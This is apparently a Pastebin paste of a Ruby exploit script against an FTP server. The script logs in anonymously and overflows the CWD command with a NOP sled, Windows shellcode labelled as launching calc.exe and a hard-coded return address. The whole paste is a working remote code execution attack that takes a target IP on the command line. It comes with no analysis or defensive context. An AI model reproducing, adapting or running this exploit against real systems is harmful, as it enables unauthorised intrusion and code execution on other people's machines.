Advertisement
Guest User

Untitled

a guest
Jun 9th, 2017
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. require 'net/ftp'
  3.  
  4. nops = "\x90" * 103 # 103 byte NOP Sled
  5.  
  6. # 165 byte payload - windows/exec CMD=calc.exe
  7. shellcode = "\xdd\xc1\xd9\x74\x24\xf4\xb8\xb3\xc7\x02\x95\x29\xc9\x5a\xb1\x24"+
  8. "\x83\xea\xfc\x31\x42\x13\x03\xf1\xd4\xe0\x60\x09\x32\xa0\x8a\xf1"+
  9. "\xc3\xa2\xce\xcd\x48\xc8\xd5\x55\x4e\xde\x5d\xea\x48\xab\x3d\xd4"+
  10. "\x69\x40\x88\x9f\x5e\x1d\x0a\x71\xaf\xe1\x94\x21\x54\x21\xd2\x3e"+
  11. "\x94\x68\x16\x41\xd4\x86\xdd\x7a\x8c\x7c\x1a\x09\xc9\xf6\x7d\xd5"+
  12. "\x10\xe2\xe4\x9e\x1f\xbf\x63\xff\x03\x3e\x9f\x74\x27\xcb\x5e\x61"+
  13. "\xd1\x97\x44\x71\x21\x16\x45\x1d\x2e\x19\x75\x58\xf0\xe2\x79\xe9"+
  14. "\xb1\x1e\x09\x9d\x2d\xb2\x86\x35\x46\x27\x91\x4e\xd6\x07\xa2\x50"+
  15. "\xd7\xec\xcb\x6c\x88\xc3\xfd\xec\x60\xad\xfa\x6f\x4c\xd6\xaa\x07"+
  16. "\xbd\xa3\x4f\x88\x55\x2c\xb1\xbc\xa8\x1b\xb1\x27\xd7\xc2\x21\xc4"+
  17. "\x36\x60\xc2\x6f\x47"
  18.  
  19. EIP = "\x7C\x7F\x43\x7E"
  20.  
  21. user = "anonymous"
  22. pass = "anonymous"
  23.  
  24. payload = "#{nops}#{shellcode}#{EIP}"
  25.  
  26. unless ARGV[0]
  27. puts "USAGE: exploit <target ip>\n\n"
  28. exit!
  29. else
  30. host = ARGV[0]
  31. puts "Connecting to #{host}"
  32.  
  33. ftp = Net::FTP.open("#{host}")
  34. unless ftp
  35. puts "Could not establish connection"
  36. exit!
  37. else
  38. ftp.sendcmd("user #{user}")
  39. ftp.sendcmd("pass #{pass}")
  40. puts "connected to #{host} as user: #{user}"
  41. puts "sending exploit"
  42. ftp.sendcmd("cwd #{payload}")
  43. end
  44. ftp.close
  45. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement